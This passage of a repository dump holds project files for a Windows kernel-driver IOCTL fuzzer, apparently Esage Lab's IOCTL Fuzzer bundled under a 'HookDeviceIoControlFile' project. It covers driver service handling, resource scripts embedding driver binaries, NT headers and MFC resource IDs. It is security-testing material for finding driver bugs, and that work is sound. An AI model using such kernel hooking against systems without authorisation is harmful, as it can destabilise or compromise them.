bStopService = TRUE; \n }\n }\n\n CloseHandle(hDevice);\n\n if (bStopService)\n {\n DrvServiceStop(DRIVER_SERVICE_NAME);\n }\n\n if (bPrintDevices)\n {\n goto end;\n }\n\n ExitProcess(0);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"Error while opening kernel driver communication device\\r\\n\");\n } \n\n DrvServiceStop(DRIVER_SERVICE_NAME); \n\nend:\n printf(\"Press any key to quit...\\r\\n\");\n getch();\n\n return 0;\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.log", "content": "[17792] DbgInit(): Log file 'c:\\Users\\minzhen\\Desktop\\8.3 Hook DeviceIoControlFile(x86 x64)\\HookDeviceIoControlFile\\HookDeviceIoControlFile\\HookDeviceIoControlFile\\ioctlfuzzer.log' created\n[17792] PipeServerThread(): Listening on pipe '\\\\.\\pipe\\IOCTLfuzzer'\n[17792] [+] Changing console screen buffer height from 300 to 4096 lines\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.rc", "content": "// Microsoft Visual C++ generated resource script.\r\n//\r\n#include \"resource.h\"\r\n\r\n#define APSTUDIO_READONLY_SYMBOLS\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// Generated from the TEXTINCLUDE 2 resource.\r\n//\r\n#include \"afxres.h\"\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n#undef APSTUDIO_READONLY_SYMBOLS\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n// Russian resources\r\n\r\n#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_RUS)\r\n#ifdef _WIN32\r\nLANGUAGE LANG_RUSSIAN, SUBLANG_DEFAULT\r\n#pragma code_page(1251)\r\n#endif //_WIN32\r\n\r\n#ifdef APSTUDIO_INVOKED\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// TEXTINCLUDE\r\n//\r\n\r\n1 TEXTINCLUDE \r\nBEGIN\r\n \"resource.h\\0\"\r\nEND\r\n\r\n2 TEXTINCLUDE \r\nBEGIN\r\n \"#include \"\"afxres.h\"\"\\r\\0\"\r\nEND\r\n\r\n3 TEXTINCLUDE \r\nBEGIN\r\n \"\\r\\0\"\r\nEND\r\n\r\n#endif // APSTUDIO_INVOKED\r\n\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// RT_MANIFEST\r\n//\r\n\r\n1 RT_MANIFEST \"default.manifest\"\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// Dialog\r\n//\r\n\r\nIDD_DIALOG DIALOGEX 0, 0, 258, 159\r\nSTYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | DS_CENTER | WS_POPUP | WS_CAPTION\r\nCAPTION \"IOCTL Fuzzer\"\r\nFONT 8, \"MS Shell Dlg\", 400, 0, 0x1\r\nBEGIN\r\n LTEXT \"IOCTL Fuzzer control pannel\",IDC_STATIC,55,24,92,8\r\n ICON \"IDI_ICON\",IDC_STATIC,21,17,21,20\r\n PUSHBUTTON \"Hide Dialog\",IDC_HIDE,15,128,101,14\r\n PUSHBUTTON \"Terminate Application\",IDC_TERMINATE,127,128,113,14\r\n GROUPBOX \"\",IDC_STATIC,7,0,238,152\r\n CONTROL \"Enable IOCTL Requests Monitoring\",IDC_LOG_CONSOLE,\r\n \"Button\",BS_AUTOCHECKBOX | WS_TABSTOP,26,65,127,10\r\n CONTROL \"Print Logs Into the Debugger Output\",IDC_LOG_DEBUGGER,\r\n \"Button\",BS_AUTOCHECKBOX | WS_TABSTOP,26,99,133,10\r\n GROUPBOX \"Logging Options\",IDC_STATIC,15,48,221,68\r\n CONTROL \"Dump IOCTL Request Buffers (Max. Length: 0x1000)\",IDC_LOG_BUFFERS,\r\n \"Button\",BS_AUTOCHECKBOX | WS_TABSTOP,26,82,186,10\r\nEND\r\n\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// Icon\r\n//\r\n\r\n// Icon with lowest ID value placed first to ensure application icon\r\n// remains consistent on all systems.\r\nIDI_ICON ICON \"resources\\\\icon.ico\"\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// Version\r\n//\r\n\r\nVS_VERSION_INFO VERSIONINFO\r\n FILEVERSION 1,3,0,0\r\n PRODUCTVERSION 1,3,0,0\r\n FILEFLAGSMASK 0x17L\r\n#ifdef _DEBUG\r\n FILEFLAGS 0x1L\r\n#else\r\n FILEFLAGS 0x0L\r\n#endif\r\n FILEOS 0x4L\r\n FILETYPE 0x1L\r\n FILESUBTYPE 0x0L\r\nBEGIN\r\n BLOCK \"StringFileInfo\"\r\n BEGIN\r\n BLOCK \"000004b0\"\r\n BEGIN\r\n VALUE \"CompanyName\", \"Esage Lab\"\r\n VALUE \"FileDescription\", \"IOCTL fuzzer for kernel drivers\"\r\n VALUE \"FileVersion\", \"1, 3, 0, 0\"\r\n VALUE \"InternalName\", \"ioctlfuzzer.exe\"\r\n VALUE \"LegalCopyright\", \"Copyright (C) 2011\"\r\n VALUE \"OriginalFilename\", \"ioctlfuzzer.exe\"\r\n VALUE \"ProductName\", \"IOCTLFuzzer\"\r\n VALUE \"ProductVersion\", \"1, 3, 0, 0\"\r\n END\r\n END\r\n BLOCK \"VarFileInfo\"\r\n BEGIN\r\n VALUE \"Translation\", 0x0, 1200\r\n END\r\nEND\r\n\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// BINRES\r\n//\r\n\r\nDRIVER32 BINRES \"..\\\\driver_i386.sys\"\r\nDRIVER64 BINRES \"..\\\\driver_amd64.sys\"\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// DESIGNINFO\r\n//\r\n\r\n#ifdef APSTUDIO_INVOKED\r\nGUIDELINES DESIGNINFO \r\nBEGIN\r\n IDD_DIALOG, DIALOG\r\n BEGIN\r\n RIGHTMARGIN, 252\r\n BOTTOMMARGIN, 152\r\n END\r\nEND\r\n#endif // APSTUDIO_INVOKED\r\n\r\n#endif // Russian resources\r\n/////////////////////////////////////////////////////////////////////////////\r\n\r\n\r\n\r\n#ifndef APSTUDIO_INVOKED\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// Generated from the TEXTINCLUDE 3 resource.\r\n//\r\n\r\r\n/////////////////////////////////////////////////////////////////////////////\r\n#endif // not APSTUDIO_INVOKED\r\n\r\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ntdll_defs.h", "content": "typedef LONG NTSTATUS; \n\ntypedef struct _IO_STATUS_BLOCK \n{\n union {\n NTSTATUS Status;\n PVOID Pointer;\n };\n ULONG_PTR Information;\n\n} IO_STATUS_BLOCK, \n*PIO_STATUS_BLOCK;\n\n#undef UNICODE_STRING\n\ntypedef struct _UNICODE_STRING \n{\n USHORT Length;\n USHORT MaximumLength;\n PWSTR Buffer;\n\n} UNICODE_STRING, \n*PUNICODE_STRING;\n\n#define OBJ_INHERIT 0x00000002\n#define OBJ_PERMANENT 0x00000010\n#define OBJ_EXCLUSIVE 0x00000020\n#define OBJ_CASE_INSENSITIVE 0x00000040\n#define OBJ_OPENIF 0x00000080\n#define OBJ_OPENLINK 0x00000100\n#define OBJ_VALID_ATTRIBUTES 0x000001F2\n\ntypedef struct _OBJECT_ATTRIBUTES\n{\n ULONG Length;\n HANDLE RootDirectory;\n PUNICODE_STRING ObjectName;\n ULONG Attributes;\n PVOID SecurityDescriptor;\n PVOID SecurityQualityOfService;\n\n} OBJECT_ATTRIBUTES, \n*POBJECT_ATTRIBUTES;\n\n#define InitializeObjectAttributes( p, n, a, r, s ) { \\\n (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \\\n (p)->RootDirectory = r; \\\n (p)->Attributes = a; \\\n (p)->ObjectName = n; \\\n (p)->SecurityDescriptor = s; \\\n (p)->SecurityQualityOfService = NULL; \\\n}\n\n#define NT_SUCCESS(Status) ((LONG)(Status) >= 0)\n#define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3)\n\n#define NtCurrentProcess() ((HANDLE)-1)\n\n#ifndef STATUS_BUFFER_OVERFLOW\n#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L) \n#endif\n\n#ifndef STATUS_NO_MORE_FILES\n#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L)\n#endif\n\n#ifndef STATUS_INFO_LENGTH_MISMATCH\n#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)\n#endif\n\n#ifndef STATUS_BUFFER_TOO_SMALL \n#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L)\n#endif\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/options.h", "content": "\n/**\n * Program information, copyright, etc.\n */\n#define PROGRAM_NAME \"IOCTL Fuzzer\"\n#define PROGRAM_AUTHOR \"by Oleksiuk Dmytro (aka Cr4sh) :: dmitry@esagelab.com\"\n#define PROGRAM_COPYRIGHT \"(c) 2011 Esage Lab :: http://www.esagelab.com/\"\n\n/**\n * Log file name to store all IOCTLs requests information.\n */\n#define IOCTLS_LOG_NAME L\"ioctls.log\"\n\n/**\n * Main application log file name.\n */\n#define IOCTLFUZZER_LOG_FILE \"ioctlfuzzer.log\"\n\n/**\n * File and service name for the kernel driver.\n */\n#define DRIVER_SERVICE_NAME \"IOCTL_fuzzer\"\n#define DRIVER_FILE_NAME \"IOCTL_fuzzer.sys\"\n\n/**\n * Directory name to store downloaded debug symbols.\n */\n#define SYMBOLS_DIR_NAME \"Symbols\"\n\n/**\n * Default value for fuzzing type option.\n */\n#define DEFAULT_FUZZING_TYPE FuzzingType_Random\n\n/**\n * IOCTL buffer length limit for dumping into the\n * application log or debugger output.\n */\n#define MAX_IOCTL_BUFFER_LEGTH 0x100\n\n/**\n * Maximum number of lines in console window.\n */\n#define CONSOLE_BUFFER_HEIGHT 0x1000\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resource.h", "content": "//{{NO_DEPENDENCIES}}\n// Microsoft Visual C++ generated include file.\n// Used by ioctlfuzzer.rc\n//\n#define ID_SEPARATOR 0\n#define VS_VERSION_INFO 1\n#define AFX_IDC_LISTBOX 100\n#define AFX_IDC_CHANGE 101\n#define IDD_DIALOG 101\n#define AFX_IDC_BROWSER 102\n#define AFX_IDC_PRINT_DOCNAME 201\n#define AFX_IDC_PRINT_PRINTERNAME 202\n#define AFX_IDC_PRINT_PORTNAME 203\n#define AFX_IDC_PRINT_PAGENUM 204\n#define ID_MFCLOC_MANIFEST 1000\n#define AFX_IDC_FONTPROP 1000\n#define IDC_HIDE 1000\n#define AFX_IDC_FONTNAMES 1001\n#define IDC_TERMINATE 1001\n#define AFX_IDC_FONTSTYLES 1002\n#define AFX_IDC_FONTSIZES 1003\n#define AFX_IDC_STRIKEOUT 1004\n#define AFX_IDC_UNDERLINE 1005\n#define IDC_LOG_CONSOLE 1005\n#define AFX_IDC_SAMPLEBOX 1006\n#define IDC_FUZZ_SIZE2 1008\n#define IDC_LOG_DEBUGGER 1008\n#define IDC_LOG_BUFFERS 1009\n#define IDC_CHECK2 1010\n#define IDC_LOG_EXCEPTIONS 1010\n#define AFX_IDC_COLOR_BLACK 1100\n#define AFX_IDC_COLOR_WHITE 1101\n#define AFX_IDC_COLOR_RED 1102\n#define AFX_IDC_COLOR_GREEN 1103\n#define AFX_IDC_COLOR_BLUE 1104\n#define AFX_IDC_COLOR_YELLOW 1105\n#define AFX_IDC_COLOR_MAGENTA 1106\n#define AFX_IDC_COLOR_CYAN 1107\n#define AFX_IDC_COLOR_GRAY 1108\n#define AFX_IDC_COLOR_LIGHTGRAY 1109\n#define AFX_IDC_COLOR_DARKRED 1110\n#define AFX_IDC_COLOR_DARKGREEN 1111\n#define AFX_IDC_COLOR_DARKBLUE 1112\n#define AFX_IDC_COLOR_LIGHTBROWN 1113\n#define AFX_IDC_COLOR_DARKMAGENTA 1114\n#define AFX_IDC_COLOR_DARKCYAN 1115\n#define AFX_IDC_COLORPROP 1116\n#define AFX_IDC_SYSTEMCOLORS 1117\n#define AFX_IDC_PROPNAME 1201\n#define AFX_IDC_PICTURE 1202\n#define AFX_IDC_BROWSE 1203\n#define AFX_IDC_CLEAR 1204\n#define AFX_IDC_TAB_CONTROL 0x3020\n#define ID_APPLY_NOW 0x3021\n#define ID_WIZBACK 0x3023\n#define ID_WIZNEXT 0x3024\n#define ID_WIZFINISH 0x3025\n#define AFX_IDD_NEWTYPEDLG 30721\n#define AFX_IDD_PRINTDLG 30722\n#define AFX_IDD_PREVIEW_TOOLBAR 30723\n#define AFX_IDD_INSERTOBJECT 30724\n#define AFX_IDD_CHANGEICON 30725\n#define AFX_IDD_CONVERT 30726\n#define AFX_IDD_PASTESPECIAL 30727\n#define AFX_IDD_EDITLINKS 30728\n#define AFX_IDD_FILEBROWSE 30729\n#define AFX_IDD_BUSY 30730\n#define AFX_IDD_OBJECTPROPERTIES 30732\n#define AFX_IDD_CHANGESOURCE 30733\n#define AFX_IDD_EMPTYDIALOG 30734\n#define AFX_IDC_CONTEXTHELP 30977\n#define AFX_IDC_MAGNIFY 30978\n#define AFX_IDC_SMALLARROWS 30979\n#define AFX_IDC_HSPLITBAR 30980\n#define AFX_IDC_VSPLITBAR 30981\n#define AFX_IDC_NODROPCRSR 30982\n#define AFX_IDC_TRACKNWSE 30983\n#define AFX_IDC_TRACKNESW 30984\n#define AFX_IDC_TRACKNS 30985\n#define AFX_IDC_TRACKWE 30986\n#define AFX_IDC_TRACK4WAY 30987\n#define AFX_IDC_MOVE4WAY 30988\n#define AFX_IDB_MINIFRAME_MENU 30994\n#define AFX_IDB_CHECKLISTBOX_95 30996\n#define AFX_IDR_PREVIEW_ACCEL 30997\n#define AFX_IDC_MOUSE_PAN_NW 30998\n#define AFX_IDC_MOUSE_PAN_N 30999\n#define AFX_IDC_MOUSE_PAN_NE 31000\n#define AFX_IDC_MOUSE_PAN_W 31001\n#define AFX_IDC_MOUSE_PAN_HV 31002\n#define AFX_IDC_MOUSE_PAN_E 31003\n#define AFX_IDC_MOUSE_PAN_SW 31004\n#define AFX_IDC_MOUSE_PAN_S 31005\n#define AFX_IDC_MOUSE_PAN_SE 31006\n#define AFX_IDC_MOUSE_PAN_HORZ 31007\n#define AFX_IDC_MOUSE_PAN_VERT 31008\n#define AFX_IDC_MOUSE_ORG_HORZ 31009\n#define AFX_IDC_MOUSE_ORG_VERT 31010\n#define AFX_IDC_MOUSE_ORG_HV 31011\n#define AFX_IDC_MOUSE_MASK 31012\n#define AFX_IDI_STD_MDIFRAME 31233\n#define AFX_IDI_STD_FRAME 31234\n#define AFX_IDD_PROPPAGE_COLOR 32257\n#define AFX_IDD_PROPPAGE_FONT 32258\n#define AFX_IDD_PROPPAGE_PICTURE 32259\n#define AFX_IDB_TRUETYPE 32384\n#define AFX_IDS_APP_TITLE 0xE000\n#define AFX_IDS_IDLEMESSAGE 0xE001\n#define AFX_IDS_HELPMODEMESSAGE 0xE002\n#define AFX_IDS_APP_TITLE_EMBEDDING 0xE003\n#define AFX_IDS_COMPANY_NAME 0xE004\n#define AFX_IDS_OBJ_TITLE_INPLACE 0xE005\n#define ID_FILE_NEW 0xE100\n#define ID_FILE_OPEN 0xE101\n#define ID_FILE_CLOSE 0xE102\n#define ID_FILE_SAVE 0xE103\n#define ID_FILE_SAVE_AS 0xE104\n#define ID_FILE_PAGE_SETUP 0xE105\n#define ID_FILE_PRINT_SETUP 0xE106\n#define ID_FILE_PRINT 0xE107\n#define ID_FILE_PRINT_DIRECT 0xE108\n#define ID_FILE_PRINT_PREVIEW 0xE109\n#define ID_FILE_UPDATE 0xE10A\n#define ID_FILE_SAVE_COPY_AS 0xE10B\n#define ID_FILE_SEND_MAIL 0xE10C\n#define ID_FILE_NEW_FRAME 0xE10D\n#define ID_FILE_MRU_FIRST 0xE110\n#define ID_FILE_MRU_FILE1 0xE110\n#define ID_FILE_MRU_FILE2 0xE111\n#define ID_FILE_MRU_FILE3 0xE112\n#define ID_FILE_MRU_FILE4 0xE113\n#define ID_FILE_MRU_FILE5 0xE114\n#define ID_FILE_MRU_FILE6 0xE115\n#define ID_FILE_MRU_FILE7 0xE116\n#define ID_FILE_MRU_FILE8 0xE117\n#define ID_FILE_MRU_FILE9 0xE118\n#define ID_FILE_MRU_FILE10 0xE119\n#define ID_FILE_MRU_FILE11 0xE11A\n#define ID_FILE_MRU_FILE12 0xE11B\n#define ID_FILE_MRU_FILE13 0xE11C\n#define ID_FILE_MRU_FILE14 0xE11D\n#define ID_FILE_MRU_FILE15 0xE11E\n#define ID_FILE_MRU_FILE16 0xE11F\n#define ID_FILE_MRU_LAST 0xE11F\n#define ID_EDIT_CLEAR 0xE120\n#define ID_EDIT_CLEAR_ALL 0xE121\n#define ID_EDIT_COPY 0xE122\n#define ID_EDIT_CUT 0xE123\n#define ID_EDIT_FIND 0xE124\n#define ID_EDIT_PASTE 0xE125\n#define ID_EDIT_PASTE_LINK 0xE126\n#define ID_EDIT_PASTE_SPECIAL 0xE127\n#define ID_EDIT_REPEAT 0xE128\n#define ID_EDIT_REPLACE 0xE129\n#define ID_EDIT_SELECT_ALL 0xE12A\n#define ID_EDIT_UNDO 0xE12B\n#define ID_EDIT_REDO 0xE12C\n#define ID_WINDOW_NEW 0xE130\n#define ID_WINDOW_ARRANGE 0xE131\n#define ID_WINDOW_CASCADE 0xE132\n#define ID_WINDOW_TILE_HORZ 0xE133\n#define ID_WINDOW_TILE_VERT 0xE134\n#define ID_WINDOW_SPLIT 0xE135\n#define ID_APP_ABOUT 0xE140\n#define ID_APP_EXIT 0xE141\n#define ID_HELP_INDEX 0xE142\n#define ID_HELP_FINDER 0xE143\n#define ID_HELP_USING 0xE144\n#define ID_CONTEXT_HELP 0xE145\n#define ID_HELP 0xE146\n#define ID_DEFAULT_HELP 0xE147\n#define ID_NEXT_PANE 0xE150\n#define ID_PREV_PANE 0xE151\n#define ID_FORMAT_FONT 0xE160\n#define ID_OLE_INSERT_NEW 0xE200\n#define ID_OLE_EDIT_LINKS 0xE201\n#define ID_OLE_EDIT_CONVERT 0xE202\n#define ID_OLE_EDIT_CHANGE_ICON 0xE203\n#define ID_OLE_EDIT_PROPERTIES 0xE204\n#define ID_OLE_VERB_FIRST 0xE210\n#define AFX_ID_PREVIEW_CLOSE 0xE300\n#define AFX_ID_PREVIEW_NUMPAGE 0xE301\n#define AFX_ID_PREVIEW_NEXT 0xE302\n#define AFX_ID_PREVIEW_PREV 0xE303\n#define AFX_ID_PREVIEW_PRINT 0xE304\n#define AFX_ID_PREVIEW_ZOOMIN 0xE305\n#define AFX_ID_PREVIEW_ZOOMOUT 0xE306\n#define ID_INDICATOR_EXT 0xE700\n#define ID_INDICATOR_CAPS 0xE701\n#define ID_INDICATOR_NUM 0xE702\n#define ID_INDICATOR_SCRL 0xE703\n#define ID_INDICATOR_OVR 0xE704\n#define ID_INDICATOR_REC 0xE705\n#define ID_INDICATOR_KANA 0xE706\n#define ID_VIEW_TOOLBAR 0xE800\n#define ID_VIEW_STATUS_BAR 0xE801\n#define ID_VIEW_REBAR 0xE804\n#define ID_VIEW_AUTOARRANGE 0xE805\n#define ID_VIEW_SMALLICON 0xE810\n#define ID_VIEW_LARGEICON 0xE811\n#define ID_VIEW_LIST 0xE812\n#define ID_VIEW_DETAILS 0xE813\n#define ID_VIEW_LINEUP 0xE814\n#define ID_VIEW_BYNAME 0xE815\n#define ID_RECORD_FIRST 0xE900\n#define ID_RECORD_LAST 0xE901\n#define ID_RECORD_NEXT 0xE902\n#define ID_RECORD_PREV 0xE903\n#define AFX_IDS_SCSIZE 0xEF00\n#define AFX_IDS_SCMOVE 0xEF01\n#define AFX_IDS_SCMINIMIZE 0xEF02\n#define AFX_IDS_SCMAXIMIZE 0xEF03\n#define AFX_IDS_SCNEXTWINDOW 0xEF04\n#define AFX_IDS_SCPREVWINDOW 0xEF05\n#define AFX_IDS_SCCLOSE 0xEF06\n#define AFX_IDS_SCRESTORE 0xEF12\n#define AFX_IDS_SCTASKLIST 0xEF13\n#define AFX_IDS_MDICHILD 0xEF1F\n#define AFX_IDS_DESKACCESSORY 0xEFDA\n#define AFX_IDS_OPENFILE 0xF000\n#define AFX_IDS_SAVEFILE 0xF001\n#define AFX_IDS_ALLFILTER 0xF002\n#define AFX_IDS_UNTITLED 0xF003\n#define AFX_IDS_SAVEFILECOPY 0xF004\n#define AFX_IDS_PREVIEW_CLOSE 0xF005\n#define AFX_IDS_UNNAMED_FILE 0xF006\n#define AFX_IDS_HIDE 0xF011\n#define AFX_IDP_NO_ERROR_AVAILABLE 0xF020\n#define AFX_IDS_NOT_SUPPORTED_EXCEPTION 0xF021\n#define AFX_IDS_RESOURCE_EXCEPTION 0xF022\n#define AFX_IDS_MEMORY_EXCEPTION 0xF023\n#define AFX_IDS_USER_EXCEPTION 0xF024\n#define AFX_IDS_INVALID_ARG_EXCEPTION 0xF025\n#define AFX_IDS_PRINTONPORT 0xF040\n#define AFX_IDS_ONEPAGE 0xF041\n#define AFX_IDS_TWOPAGE 0xF042\n#define AFX_IDS_PRINTPAGENUM 0xF043\n#define AFX_IDS_PREVIEWPAGEDESC 0xF044\n#define AFX_IDS_PRINTDEFAULTEXT 0xF045\n#define AFX_IDS_PRINTDEFAULT 0xF046\n#define AFX_IDS_PRINTFILTER 0xF047\n#define AFX_IDS_PRINTCAPTION 0xF048\n#define AFX_IDS_PRINTTOFILE 0xF049\n#define AFX_IDS_OBJECT_MENUITEM 0xF080\n#define AFX_IDS_EDIT_VERB 0xF081\n#define AFX_IDS_ACTIVATE_VERB 0xF082\n#define AFX_IDS_CHANGE_LINK 0xF083\n#define AFX_IDS_AUTO 0xF084\n#define AFX_IDS_MANUAL 0xF085\n#define AFX_IDS_FROZEN 0xF086\n#define AFX_IDS_ALL_FILES 0xF087\n#define AFX_IDS_SAVE_MENU 0xF088\n#define AFX_IDS_UPDATE_MENU 0xF089\n#define AFX_IDS_SAVE_AS_MENU 0xF08A\n#define AFX_IDS_SAVE_COPY_AS_MENU 0xF08B\n#define AFX_IDS_EXIT_MENU 0xF08C\n#define AFX_IDS_UPDATING_ITEMS 0xF08D\n#define AFX_IDS_METAFILE_FORMAT 0xF08E\n#define AFX_IDS_DIB_FORMAT 0xF08F\n#define AFX_IDS_BITMAP_FORMAT 0xF090\n#define AFX_IDS_LINKSOURCE_FORMAT 0xF091\n#define AFX_IDS_EMBED_FORMAT 0xF092\n#define AFX_IDS_PASTELINKEDTYPE 0xF094\n#define AFX_IDS_UNKNOWNTYPE 0xF095\n#define AFX_IDS_RTF_FORMAT 0xF096\n#define AFX_IDS_TEXT_FORMAT 0xF097\n#define AFX_IDS_INVALID_CURRENCY 0xF098\n#define AFX_IDS_INVALID_DATETIME 0xF099\n#define AFX_IDS_INVALID_DATETIMESPAN 0xF09A\n#define AFX_IDP_INVALID_FILENAME 0xF100\n#define AFX_IDP_FAILED_TO_OPEN_DOC 0xF101\n#define AFX_IDP_FAILED_TO_SAVE_DOC 0xF102\n#define AFX_IDP_ASK_TO_SAVE 0xF103\n#define AFX_IDP_FAILED_TO_CREATE_DOC 0xF104\n#define AFX_IDP_FILE_TOO_LARGE 0xF105\n#define AFX_IDP_FAILED_TO_START_PRINT 0xF106\n#define AFX_IDP_FAILED_TO_LAUNCH_HELP 0xF107\n#define AFX_IDP_INTERNAL_FAILURE 0xF108\n#define AFX_IDP_COMMAND_FAILURE 0xF109\n#define AFX_IDP_FAILED_MEMORY_ALLOC 0xF10A\n#define AFX_IDP_UNREG_DONE 0xF10B\n#define AFX_IDP_UNREG_FAILURE 0xF10C\n#define AFX_IDP_DLL_LOAD_FAILED 0xF10D\n#define AFX_IDP_DLL_BAD_VERSION 0xF10E\n#define AFX_IDP_PARSE_INT 0xF110\n#define AFX_IDP_PARSE_REAL 0xF111\n#define AFX_IDP_PARSE_INT_RANGE 0xF112\n#define AFX_IDP_PARSE_REAL_RANGE 0xF113\n#define AFX_IDP_PARSE_STRING_SIZE 0xF114\n#define AFX_IDP_PARSE_RADIO_BUTTON 0xF115\n#define AFX_IDP_PARSE_BYTE 0xF116\n#define AFX_IDP_PARSE_UINT 0xF117\n#define AFX_IDP_PARSE_DATETIME 0xF118\n#define AFX_IDP_PARSE_CURRENCY 0xF119\n#define AFX_IDP_PARSE_GUID 0xF11A\n#define AFX_IDP_PARSE_TIME 0xF11B\n#define AFX_IDP_PARSE_DATE 0xF11C\n#define AFX_IDP_FAILED_INVALID_FORMAT 0xF120\n#define AFX_IDP_FAILED_INVALID_PATH 0xF121\n#define AFX_IDP_FAILED_DISK_FULL 0xF122\n#define AFX_IDP_FAILED_ACCESS_READ 0xF123\n#define AFX_IDP_FAILED_ACCESS_WRITE 0xF124\n#define AFX_IDP_FAILED_IO_ERROR_READ 0xF125\n#define AFX_IDP_FAILED_IO_ERROR_WRITE 0xF126\n#define AFX_IDP_SCRIPT_ERROR 0xF130\n#define AFX_IDP_SCRIPT_DISPATCH_EXCEPTION 0xF131\n#define AFX_IDP_STATIC_OBJECT 0xF180\n#define AFX_IDP_FAILED_TO_CONNECT 0xF181\n#define AFX_IDP_SERVER_BUSY 0xF182\n#define AFX_IDP_BAD_VERB 0xF183\n#define AFX_IDS_NOT_DOCOBJECT 0xF184\n#define AFX_IDP_FAILED_TO_NOTIFY 0xF185\n#define AFX_IDP_FAILED_TO_LAUNCH 0xF186\n#define AFX_IDP_ASK_TO_UPDATE 0xF187\n#define AFX_IDP_FAILED_TO_UPDATE 0xF188\n#define AFX_IDP_FAILED_TO_REGISTER 0xF189\n#define AFX_IDP_FAILED_TO_AUTO_REGISTER 0xF18A\n#define AFX_IDP_FAILED_TO_CONVERT 0xF18B\n#define AFX_IDP_GET_NOT_SUPPORTED 0xF18C\n#define AFX_IDP_SET_NOT_SUPPORTED 0xF18D\n#define AFX_IDP_ASK_TO_DISCARD 0xF18E\n#define AFX_IDP_FAILED_TO_CREATE 0xF18F\n#define AFX_IDP_FAILED_MAPI_LOAD 0xF190\n#define AFX_IDP_INVALID_MAPI_DLL 0xF191\n#define AFX_IDP_FAILED_MAPI_SEND 0xF192\n#define AFX_IDP_FILE_NONE 0xF1A0\n#define AFX_IDP_FILE_GENERIC 0xF1A1\n#define AFX_IDP_FILE_NOT_FOUND 0xF1A2\n#define AFX_IDP_FILE_BAD_PATH 0xF1A3\n#define AFX_IDP_FILE_TOO_MANY_OPEN 0xF1A4\n#define AFX_IDP_FILE_ACCESS_DENIED 0xF1A5\n#define AFX_IDP_FILE_INVALID_FILE 0xF1A6\n#define AFX_IDP_FILE_REMOVE_CURRENT 0xF1A7\n#define AFX_IDP_FILE_DIR_FULL 0xF1A8\n#define AFX_IDP_FILE_BAD_SEEK 0xF1A9\n#define AFX_IDP_FILE_HARD_IO 0xF1AA\n#define AFX_IDP_FILE_SHARING 0xF1AB\n#define AFX_IDP_FILE_LOCKING 0xF1AC\n#define AFX_IDP_FILE_DISKFULL 0xF1AD\n#define AFX_IDP_FILE_EOF 0xF1AE\n#define AFX_IDP_ARCH_NONE 0xF1B0\n#define AFX_IDP_ARCH_GENERIC 0xF1B1\n#define AFX_IDP_ARCH_READONLY 0xF1B2\n#define AFX_IDP_ARCH_ENDOFFILE 0xF1B3\n#define AFX_IDP_ARCH_WRITEONLY 0xF1B4\n#define AFX_IDP_ARCH_BADINDEX 0xF1B5\n#define AFX_IDP_ARCH_BADCLASS 0xF1B6\n#define AFX_IDP_ARCH_BADSCHEMA 0xF1B7\n#define AFX_IDS_OCC_SCALEUNITS_PIXELS 0xF1C0\n#define AFX_IDS_STATUS_FONT 0xF230\n#define AFX_IDS_TOOLTIP_FONT 0xF231\n#define AFX_IDS_UNICODE_FONT 0xF232\n#define AFX_IDS_MINI_FONT 0xF233\n#define AFX_IDP_SQL_CONNECT_FAIL 0xF281\n#define AFX_IDP_SQL_RECORDSET_FORWARD_ONLY 0xF282\n#define AFX_IDP_SQL_EMPTY_COLUMN_LIST 0xF283\n#define AFX_IDP_SQL_FIELD_SCHEMA_MISMATCH 0xF284\n#define AFX_IDP_SQL_ILLEGAL_MODE 0xF285\n#define AFX_IDP_SQL_MULTIPLE_ROWS_AFFECTED 0xF286\n#define AFX_IDP_SQL_NO_CURRENT_RECORD 0xF287\n#define AFX_IDP_SQL_NO_ROWS_AFFECTED 0xF288\n#define AFX_IDP_SQL_RECORDSET_READONLY 0xF289\n#define AFX_IDP_SQL_SQL_NO_TOTAL 0xF28A\n#define AFX_IDP_SQL_ODBC_LOAD_FAILED 0xF28B\n#define AFX_IDP_SQL_DYNASET_NOT_SUPPORTED 0xF28C\n#define AFX_IDP_SQL_SNAPSHOT_NOT_SUPPORTED 0xF28D\n#define AFX_IDP_SQL_API_CONFORMANCE 0xF28E\n#define AFX_IDP_SQL_SQL_CONFORMANCE 0xF28F\n#define AFX_IDP_SQL_NO_DATA_FOUND 0xF290\n#define AFX_IDP_SQL_ROW_UPDATE_NOT_SUPPORTED 0xF291\n#define AFX_IDP_SQL_ODBC_V2_REQUIRED 0xF292\n#define AFX_IDP_SQL_NO_POSITIONED_UPDATES 0xF293\n#define AFX_IDP_SQL_LOCK_MODE_NOT_SUPPORTED 0xF294\n#define AFX_IDP_SQL_DATA_TRUNCATED 0xF295\n#define AFX_IDP_SQL_ROW_FETCH 0xF296\n#define 